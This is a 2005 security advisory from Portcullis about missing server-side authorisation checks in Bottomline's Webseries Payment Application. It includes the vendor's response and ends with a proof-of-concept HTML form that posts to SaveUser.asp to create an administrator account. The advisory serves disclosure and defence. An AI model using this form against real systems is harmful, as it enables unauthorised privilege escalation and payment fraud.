Portcullis Security Advisory AREAS UPDATED: VENDOR RESPONSE - IMPACT. VENDOR RESPONSE: The product vendor, Bottomline Technologies has provided Portcullis with the following response to the security advisory. It should be noted that the resolution of this issue has not been verified by Portcullis: Bottomline acknowledge that there is a theoretical threat to the system via this vulnerability, however would point out it would require two trusted users to collude in order for any changes to take affect and both would need a good understanding of the software beyond that usually available to the end users. This of course does not take into account any of the customers' internal security processes and procedures, which would typically surround the use of any sensitive software. In order to further enhance the security of the system a service pack will be released in Q1 2005, which will check entitlements prior to invoking any user function. If the user does not have existing entitlements to that function, an error message will be logged and the user will be logged off and disabled until re-enabled. Contact Bottomline at: support@xxxxxxxxxxxxxxxx Tel: +44 (0)1189 258253. Vulnerable System: Webseries Payment Application Vulnerability Title: Lack of Backend Authorisation Checking Vulnerability discovery and development: Portcullis Security Testing Services Affected systems: Bottomline Webseries Payment Application Details: Portcullis consultants discovered that although privileged operations are not displayed in the application menu presented to unprivileged users, these operations may still be executed by directly accessing the appropriate URL. This, in effect, means that the core application is not carrying out any form of authorisation verification and that any authenticated user, regardless of the rights they have been assigned, can perform any action available to any user of the system. In its simplest form this vulnerability could be used to gather a list of privileged users by accessing the "User Entitlements" report which details user's security groups and administrative status. An attacker could use this information to greatly increase their likelihood of success in gaining unauthorised access. Impact: An unauthorized user could, by directly accessing the SaveUser.asp script create a new user with administrative privileges. IT SHOULD BE NOTED THAT ANY NEW USER CREATED WOULD NOT BE ACTIVE UNTIL ANOTHER, (DIFFERENT FROM THE CREATOR) PRIVILEDGED ACCOUNT ENABLES THE USER, THE NEWLY CREATED ACCOUNT WOUL IN EFFECT BE A GHOST ACCOUNT, HOLDING THE PRIVILEDGES BUT INACTIVE. Portcullis consultants developed the following simple HTML page to perform this action: Any other system operation including user approval, security group modification and payment approval can be performed in a similar manner. The only thing obstructing a malicious attacker from succeeding in such attacks is that the approval system has been correctly implemented. Even by accessing URLs directly, a user cannot approve their own changes. Two unprivileged users, acting in collusion, have the ability to execute any function the system is capable of performing. This includes submitting, and approving, payments of unlimited value. Exploit: Portcullis consultants developed the following simple HTML page to perform this action: <html> <body> <h1>Add User</h1> <hr> <form action="http://target/wsapp/SaveUser.asp"; method="post"> Action <input name="Action" value="ADD" type="text"><br> UserID <input type="text" name="UserID"><br> UserName <input type="text" name="UserName"><br> Password 1 <input type="text" name="Password1"><br> Password 2 <input type="text" name="Password2"><br> Email <input type="text" name="EMail"><br> Administrator <input type="checkbox" name=Admin value=1><br> Application User <input type="checkbox" name=AppUser value=1><br> User Group <input type="text" name="SelUserGroup" value="111" ><br> Security Group <input type="text" name="SecurityGroup" value="RegMgr"><br> <input type="submit" value="submit"> </form> </html> Copyright: Copyright (c) Portcullis Computer Security Limited 2005, All rights reserved worldwide. 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